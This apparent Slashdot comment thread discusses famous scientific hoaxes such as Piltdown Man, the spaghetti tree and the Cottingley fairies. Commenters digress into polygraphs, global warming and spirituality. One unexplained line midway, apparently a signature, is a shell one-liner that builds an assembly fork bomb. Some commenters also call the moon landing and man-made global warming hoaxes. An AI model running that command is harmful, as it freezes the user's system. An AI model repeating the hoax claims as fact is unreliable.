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The Greatest Scientific Hoaxes?
Ponca City, We love you writes "The New Scientist has an amusing story about the seven greatest scientific hoaxes of all time. Of course, there have been serious cases of scientific fraud, such as the stem cell researchers recently found guilty of falsifying data, and the South Korean cloning fraud, but the hoaxes selected point more to human gullibility than malevolence and include the Piltdown Man (constructed from a medieval human cranium); a ten-foot "petrified man" dug up on a small farm in Cardiff; fossils 'found' in Wurzburg, Germany depicting comets, moons and suns, Alan Sokal's paper loaded with nonsensical jargon that was accepted by the journal Social Text; the claim of the Upas tree on the island of Java so poisonous that it killed everything within a 15-mile radius; and Johann Heinrich Cohausen's claim of an elixir produced by collecting the breath of young women in bottles that produced immortality. Our favorite: BBC's broadcast in 1957 about the spaghetti tree in Switzerland that showed a family harvesting pasta that hung from the branches of the tree. After watching the program, hundreds of people phoned in asking how they could grow their own tree but, alas, the program turned out to be an April Fools' Day joke." What massive scientific hoaxes/jokes have other people witnessed?
But, then again, I guess its not actually science...
If brevity is the soul of wit, then how does one explain Twitter?
Global Warming
Yes, I did go there.
http://www.globalclimatescam.com/?p=229
If you have something that you dont want anyone to know, maybe you shouldnt be doing it in the first place -Eric Schmidt
Man landing on the moon. Duh.
Beauty is in the eye of the beerholder.
There are still people who wish it weren't a hoax. It's an interesting tale in the ways people will ignore evidence of the contrary when it comes to something they want to believe. The signs were obvious - found in a shop with stone cutting tools, yet ignored for years afterward...
The society for a thought-free internet welcomes you.
Not scientifically proved...
Could be the biggest one of all. That or alchemy (dead) and astrology (still alive).
Mod parent Insightful, or Funny or something, because... damn! Good laughs.
E-meter [wikipedia.org] comes to mind.
You mis-spelled Polygraph. Slightly more important, given that, unlike E-meters, polygraphs are used in criminal investigations and employment decisions (namely, government security services) and police and prosecutors often try to get the results admitted in court as evidence.
Remember Ashley Todd, who claimed she was mugged and had a "B" cut into her face by an imaginary black dude? Cops gave her a polygraph test, but refused to release the results. Hmm, like maybe a "she's telling the truth" result, that would very publicly demonstrate what a piece of useless crap polygraphs are?
Please help metamoderate.
I have a way to solve the conflict over global warming here in the US: let the government buy out all current beachfront property in the US that is 10 feet or less above sea level, to be given free to people who don't believe in global warming, with the stipulation that they must live on it and can live nowhere else. No matter what it is a win-win for everyone.
Its cause is not fully understood, but that hardly matters; we have to live with it no matter what causes it.
Ever notice how it's the same deluded people (political conservatives, for some reason) who claim that evolution doesn't happen (hello? antibiotic-resistant bugs?) as claim that global warming doesn't happen?
I piss off bigots.
They left out more modern scientific hoaxes, including AGW and "a high-carb, low-fat diet prevents heart disease".
I'm a Programmer. That's one level above Software Engineer and one level below Engineer.
The theory of ANTHROPOGENIC global warming is different from the fact of global warming. It's as if there was a theory that the Bubonic Plague was caused by demonic possession and I claim that demonic possession as a cause of the plague is a hoax and then you jump in and say that the plague is REAL and cannot be argued about. Do you not understand the meaning of "anthropogenic"?
Let's not forget Congress. Remember, these are the people that we want to turn all healthcare over to.
Wow, you really have no clue what you're talking about, do you? You think you're so clever for nitpicking Goedel's ontological argument.
To be more precise, I did not nitpick Godel's argument. I paralleled it, substituting God with sex. You'll find I posted no counterargument to Godel in my original post. And I also used it to reach a true conclusion: Women Exist.
So yeah, I actually do have a clue what I'm talking about.
Let me ask you this: is there any role in your life for spirituality, whatsoever? I'm not talking about any one conception of God, just your spirituality. If you don't, I really feel sorry for you.
I might ask if you have any clue what a straw man argument is. There is nothing you can deduce about my spirituality from my original post. I can however deduce that you seem to be a fan of Godel, and that I've stepped on your toes by using his argument as the basis of a joke.
Which somewhat ironically, under my definition of spirituality is a blessing of sorts. Nothing tastes quite so delicious as hamburgers made from sacred cows.
If people took spirituality more seriously, we wouldn't have all these problems. People would be more moral and generally pleasant to one another. And maybe you wouldn't talk about sex so much.
Hah! *snort*
It's called a joke. Don't be such an automaton. I don't think about sex any more or less than any average human being.
And for what it's worth, I think taking spirituality seriously to be a HUGE error. It's what gets people burnt at the stake. People need to take it less seriously. Less planes will wind up embedded into skyscrapers that way. I think the world would be a more moral and happy place if they took things less seriously, and approached things with the happiness and wisdom that children have.
The Creator created all - that means humor as well. I don't think this was all made so we could sit around and make sour faces at each other, and the most dour person gets to go to the highest cloud in Heaven.
Something for you to think about. Hopefully.
Fnord.
Weaselmancer
rediculous.
The cottingly fairies were one of the most pathetically executed hoaxes ever.
Back when I was a kid was when I first saw the pictures of those paper cutout fairies dancing around a little girl and the fakeness of it leapt out of the page.
They LOOK like they're made of paper!
How anyone could've fallen for that astounds me.
The only reason people probably DID fall for it was because Doyle was a gullible fool desperate for anything to prove there was more to life than just "this". (spiritualists, et al).
China, for instace, tries to make the case that Peking Man (Homo erectus pekinensis), a real hominid, is the direct ancestor of the modern Chinese race, while the rest of us are lower on the tree, coming from Africa.
This is one of these things that I can't see how anyone can believe. Humans are all one species, given that humans of all races can interbreed. If we had more than one origin I can't see how this could be true. Different origins to me imply different species and different species mean no interbreeding.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Sure, if you want to dilute the word "addictive" until it's meaningless, than everything is addictive. I have never seen a marijuana user do things that are self-destructive to the end of getting more marijuana. Nobody goes out and steals to get pot.
Hate to tell you, but it's not exactly unknown.
Advice: on VPS providers
Technically speaking, the coworker was being a good scientist: he could have taken your word that the cryo-treatment did nothing to the cables (based entirely on your say-so with no evidence), but instead he was skeptical, and wanted to prove it for himself. Good for him.
these have to be the longest running and expanding hoaxes of all time
"The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
Anthropogenic Global Warming is a scientifical theory that has yet to be clearly disproven. Even if it has since been recycled by politicians to fill their own personal agenda, it is originally an hypothesis that was formulated on the sole base of observable facts, outside of any manipulation intend.
Now, get an English dictionary, and find the differences between meaning of the words "hoax" and "hypothesis". Using your own personal definition, Ptolemy's Almagest was also an hoax, since it was ultimately disproven yet used by the Church authorities to fill a political agenda.
Summary: an hoax implies conscious fraud; an hypothesis doesn't.